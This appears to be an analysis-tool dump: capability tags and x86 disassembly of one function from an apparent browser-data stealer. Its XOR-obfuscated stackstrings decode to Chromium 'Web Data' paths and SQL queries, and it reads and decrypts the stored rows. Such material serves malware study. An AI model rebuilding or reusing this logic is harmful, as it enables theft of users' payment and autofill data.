Function at 0x4107ae
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x24c
push ebx
push ebp
push esi
mov ebp, edx
mov dword [esp + 0x110], ecx
xor ebx, ebx
mov dword [esp + 0xdc], ebp
push edi
mov dword [esp + 0x38], 0x3718074e
mov ecx, ebx
mov dword [esp + 0x3c], 0x4b090e3c
mov dword [esp + 0x40], 0xa1f0a2f
mov al, byte [esp + ecx + 0x38]
xor al, 0x6b
movzx eax, al
mov word [esp + ecx*2 + 0x198], ax
inc ecx
cmp ecx, 0xc
jl 0x4107e4
xor eax, eax
mov word [esp + 0x1b0], ax
call fcn.00419bf5
mov esi, eax
test esi, esi
je 0x41116d
lea eax, [esp + 0x198]
push ebp
push eax
call fcn.0041b73a
mov edi, eax
mov dword [esp + 0x128], edi
pop ecx
pop ecx
test edi, edi
je 0x41116d
mov ecx, edi
call fcn.0041b794
mov ebp, eax
mov dword [esp + 0x5c], ebp
test ebp, ebp
je 0x411166
xor edx, edx
mov ecx, ebp
call fcn.0041ba00
mov dword [esp + 0x124], eax
test eax, eax
je 0x41114f
push ebx
push 1
lea ecx, [esp + 0xe4]
push ecx
push eax
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x411137
mov dword [esp + 0x18], 0xb7bdba95
mov ecx, ebx
mov dword [esp + 0x1c], 0xa1bbb0f3
mov dword [esp + 0x20], 0xa6babebc
mov dword [esp + 0x24], 0xb6a4f3be
mov dword [esp + 0x28], 0xb2b7f3b1
mov dword [esp + 0x2c], 0xb7f3b2a7
mov dword [esp + 0x30], 0xbff6f3b1
mov word [esp + 0x34], 0xd9a0
mov al, byte [esp + ecx + 0x18]
xor al, 0xd3
mov byte [esp + ecx + 0x1b4], al
inc ecx
cmp ecx, 0x1e
jl 0x4108bd
mov byte [esp + 0x1d2], bl
mov ecx, ebx
mov dword [esp + 0x78], 0x131a1305
mov dword [esp + 0x7c], 0x33760215
mov dword [esp + 0x80], 0x243f262e
mov dword [esp + 0x84], 0x393f2237
mov dword [esp + 0x88], 0x393b0938
mov dword [esp + 0x8c], 0x7a3e2238
mov dword [esp + 0x90], 0x262e3376
mov dword [esp + 0x94], 0x2237243f
mov dword [esp + 0x98], 0x938393f
mov dword [esp + 0x9c], 0x2437332f
mov dword [esp + 0xa0], 0x3738767a
mov dword [esp + 0xa4], 0x3909333b
mov dword [esp + 0xa8], 0x37350938
mov dword [esp + 0xac], 0x767a3224
mov dword [esp + 0xb0], 0x32243735
mov dword [esp + 0xb4], 0x3b233809
mov dword [esp + 0xb8], 0x9243334
mov dword [esp + 0xbc], 0x24353833
mov dword [esp + 0xc0], 0x3322262f
mov dword [esp + 0xc4], 0x4107632
mov dword [esp + 0xc8], 0x35761b19
mov dword [esp + 0xcc], 0x3f323324
mov dword [esp + 0xd0], 0x37350922
mov word [esp + 0xd4], 0x3224
mov byte [esp + 0xd6], 0x25
mov al, byte [esp + ecx + 0x78]
xor al, 0x56
mov byte [esp + ecx + 0x1f8], al
inc ecx
cmp ecx, 0x5f
jl 0x4109e2
mov byte [esp + 0x257], bl
mov eax, ebx
mov dword [esp + 0xe4], 0x6d746d7b
mov dword [esp + 0xe8], 0x96487c6b
mov dword [esp + 0xec], 0x548d9589
mov dword [esp + 0xf0], 0x94899e48
mov dword [esp + 0xf4], 0x6e488d9d
mov dword [esp + 0xf8], 0x4875777a
mov dword [esp + 0xfc], 0x979c9d89
mov dword [esp + 0x100], 0x9494918e
movups xmm0, xmmword [esp + eax + 0xe4]
psubb xmm0, xmmword [0x420f80]
movups xmmword [esp + eax + 0x1d4], xmm0
add eax, 0x10
cmp eax, 0x20
jl 0x410a56
lea eax, [esp + 0x1b4]
mov byte [esp + 0x1f4], bl
push edi
push eax
call fcn.004125f4
push ebx
lea eax, [esp + 0x20]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x20c]
push eax
push dword [esp + 0xf4]
call dword [esi + 8]
add esp, 0x1c
test eax, eax
jne 0x410eee
push dword [esp + 0x14]
lea edi, [esp + 0x3c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x410d65
mov dword [esp + 0x68], 0x80888b64
mov dword [esp + 0x6c], 0x3c568e81
mov dword [esp + 0x70], 0x77551c1b
mov dword [esp + 0x74], 0x362c7264
mov dword [esp + 0x44], 0xd7dfbcaa
mov dword [esp + 0x48], 0x9dc2d5ce
mov byte [esp + 0x4c], 0x87
mov ecx, ebx
mov al, byte [esp + ecx + 0x68]
sub al, 0x1c
mov byte [esp + ecx + 0x130], al
inc ecx
cmp ecx, 8
jl 0x410aff
mov byte [esp + 0x138], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x70]
xor al, 0x16
mov byte [esp + ecx + 0x13c], al
inc ecx
cmp ecx, 8
jl 0x410b1b
mov byte [esp + 0x144], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x44]
xor al, 0xa7
mov byte [esp + ecx + 0x148], al
inc ecx
cmp ecx, 9
jl 0x410b37
mov byte [esp + 0x151], bl
mov ecx, ebx
mov word [esp + 0x58], 0x2f
mov dword [esp + 0x18], 0xf5f5c2c5
mov dword [esp + 0x1c], 0xf5f5f5f5
mov dword [esp + 0x20], 0xf5f5f5f5
mov dword [esp + 0x24], 0xf5f5f5f5
mov word [esp + 0x28], 0xc5f5
mov byte [esp + 0x2a], 0xc2
mov al, byte [esp + ecx + 0x18]
xor al, 0xc8
mov byte [esp + ecx + 0x170], al
inc ecx
cmp ecx, 0x13
jl 0x410b86
lea eax, [esp + 0x130]
mov byte [esp + 0x183], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x134]
lea ecx, [esp + 0x3c]
call fcn.0041b87d
pop ecx
push 2
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0041b9d8
pop ecx
lea eax, [esp + 0x13c]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x140]
lea ecx, [esp + 0x3c]
call fcn.0041b87d
pop ecx
push 3
push dword [esp + 0x18]
call dword [esi + 0x14]
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x410cb6
push 3
push dword [esp + 0x18]
call dword [esi + 0x20]
cmp byte [edi], 0x76
mov edx, eax
pop ecx
pop ecx
jne 0x410c68
cmp byte [edi + 1], 0x31
lea eax, [edi + 2]
jne 0x410c68
cmp byte [eax], 0x30
je 0x410c3d
cmp byte [eax], 0x31
jne 0x410c68
lea eax, [esp + 0x50]
mov ecx, edi
push eax
call fcn.0040f87c
mov edi, eax
pop ecx
test edi, edi
je 0x410cb6
push dword [esp + 0x50]
mov edx, edi
lea ecx, [esp + 0x3c]
call fcn.0041b87d
pop ecx
push edi
call fcn.004056f0
jmp 0x410cb5
lea eax, [esp + 0x168]
mov dword [esp + 0x160], edx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x178]
mov dword [esp + 0x17c], edi
push eax
push 3
mov edx, 0xbedfd981
pop ecx
call fcn.00412ca7
call eax
test eax, eax
je 0x410cb6
push dword [esp + 0x168]
mov edx, dword [esp + 0x170]
lea ecx, [esp + 0x3c]
call fcn.0041b87d
pop ecx
lea eax, [esp + 0x148]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x14c]
lea ecx, [esp + 0x3c]
call fcn.0041b87d
pop ecx
push ebx
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0041b9d8
pop ecx
lea eax, [esp + 0x58]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x5c]
lea ecx, [esp + 0x3c]
call fcn.0041b87d
pop ecx
push 1
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0041b9d8
pop ecx
lea eax, [esp + 0x170]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x174]
lea ecx, [esp + 0x3c]
call fcn.0041b87d
pop ecx
push dword [esp + 0x14]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x410afd
cmp dword [esp + 0x38], ebx
je 0x410eee
mov dword [esp + 0x18], 0x37362110
mov ecx, ebx
mov dword [esp + 0x1c], 0x3210273a
mov dword [esp + 0x20], 0x7c203721
mov dword [esp + 0x24], 0xc203f76
mov dword [esp + 0x28], 0x7d203f76
mov word [esp + 0x2c], 0x2b27
mov byte [esp + 0x2e], 0x27
mov al, byte [esp + ecx + 0x18]
xor al, 0x53
movzx eax, al
mov word [esp + ecx*2 + 0xe4], ax
inc ecx
cmp ecx, 0x17
jl 0x410da5
mov ecx, dword [esp + 0xe0]
lea edx, [esp + 0x50]
xor eax, eax
mov word [esp + 0x112], ax
call fcn.004120f0
mov edi, eax
test edi, edi
je 0x410eaa
mov edx, dword [esp + 0x50]
lea eax, [esp + 0xe0]
push eax
mov ecx, edi
call fcn.0040f87c
mov ebp, eax
pop ecx
test ebp, ebp
je 0x410e9f
mov dword [esp + 0x50], 0x6c521114
mov ecx, ebx
mov word [esp + 0x54], 0x4180
mov byte [esp + 0x56], 0x27
mov al, byte [esp + ecx + 0x50]
sub al, 7
mov byte [esp + ecx + 0x128], al
inc ecx
cmp ecx, 7
jl 0x410e14
mov byte [esp + 0x12f], bl
mov ecx, ebx
mov word [esp + 0x50], 0xeaed
mov al, byte [esp + ecx + 0x50]
add al, 0x20
mov byte [esp + ecx + 0x64], al
inc ecx
cmp ecx, 2
jl 0x410e37
lea eax, [esp + 0x128]
mov byte [esp + 0x66], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x12c]
lea ecx, [esp + 0x3c]
call fcn.0041b87d
pop ecx
push dword [esp + 0xe0]
mov edx, ebp
lea ecx, [esp + 0x3c]
call fcn.0041b87d
pop ecx
lea eax, [esp + 0x64]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x68]
lea ecx, [esp + 0x3c]
call fcn.0041b87d
pop ecx
push ebp
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
mov ebp, dword [esp + 0x60]
pop ecx
push dword [esp + 0x260]
lea eax, [esp + 0xe8]
push dword [esp + 0x118]
push eax
call fcn.0041b73a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x410ee4
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x38]
push edi
call fcn.00418be5
pop ecx
push edi
call fcn.004056f0
pop ecx
push dword [esp + 0x38]
call fcn.004056f0
pop ecx
push dword [esp + 0x14]
call dword [esi + 0x18]
pop ecx
push ebx
lea eax, [esp + 0x18]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x1e0]
push eax
push dword [esp + 0xec]
call dword [esi + 8]
add esp, 0x14
test eax, eax
jne 0x411128
push dword [esp + 0x14]
lea edi, [esp + 0x3c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x41108c
mov dword [esp + 0x5c], 0x70786c59
mov word [esp + 0x60], 0x2b45
mov dword [esp + 0x44], 0x37005c5b
mov dword [esp + 0x48], 0x6c33233a
mov byte [esp + 0x4c], 0x76
mov ecx, ebx
mov al, byte [esp + ecx + 0x5c]
sub al, 0xb
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, 6
jl 0x410f59
mov byte [esp + 0x11e], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x44]
xor al, 0x56
mov byte [esp + ecx + 0x154], al
inc ecx
cmp ecx, 9
jl 0x410f75
mov byte [esp + 0x15d], bl
mov ecx, ebx
mov dword [esp + 0x18], 0x7f7f484f
mov dword [esp + 0x1c], 0x7f7f7f7f
mov dword [esp + 0x20], 0x7f7f7f7f
mov dword [esp + 0x24], 0x7f7f7f7f
mov word [esp + 0x28], 0x4f7f
mov byte [esp + 0x2a], 0x48
mov al, byte [esp + ecx + 0x18]
xor al, 0x42
mov byte [esp + ecx + 0x184], al
inc ecx
cmp ecx, 0x13
jl 0x410fbd
lea eax, [esp + 0x118]
mov byte [esp + 0x197], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x11c]
lea ecx, [esp + 0x3c]
call fcn.0041b87d
pop ecx
push ebx
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0041b9d8
pop ecx
lea eax, [esp + 0x154]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x158]
lea ecx, [esp + 0x3c]
call fcn.0041b87d
pop ecx
push 1
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0041b9d8
pop ecx
lea eax, [esp + 0x184]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x188]
lea ecx, [esp + 0x3c]
call fcn.0041b87d
pop ecx
push dword [esp + 0x14]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x410f57
cmp dword [esp + 0x38], ebx
je 0x411128
mov dword [esp + 0x18], 0x5a414074
mov dword [esp + 0x1c], 0x59595c53
mov dword [esp + 0x20], 0x59101a46
mov dword [esp + 0x24], 0x59106a46
mov dword [esp + 0x28], 0x4d411b46
mov byte [esp + 0x2c], 0x41
mov al, byte [esp + ebx + 0x18]
xor al, 0x35
movzx eax, al
mov word [esp + ebx*2 + 0xe4], ax
inc ebx
cmp ebx, 0x15
jl 0x4110c3
push dword [esp + 0x260]
xor eax, eax
push dword [esp + 0x118]
mov word [esp + 0x116], ax
lea eax, [esp + 0xec]
push eax
call fcn.0041b73a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x41111e
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x38]
push edi
call fcn.00418be5
pop ecx
push edi
call fcn.004056f0
pop ecx
push dword [esp + 0x38]
call fcn.004056f0
pop ecx
push dword [esp + 0x14]
call dword [esi + 0x18]
mov edi, dword [esp + 0x124]
pop ecx
push dword [esp + 0xdc]
call dword [esi + 0x1c]
pop ecx
push dword [esp + 0x124]
call fcn.004056f0
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call fcn.00412ca7
call eax
push ebp
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24c
ret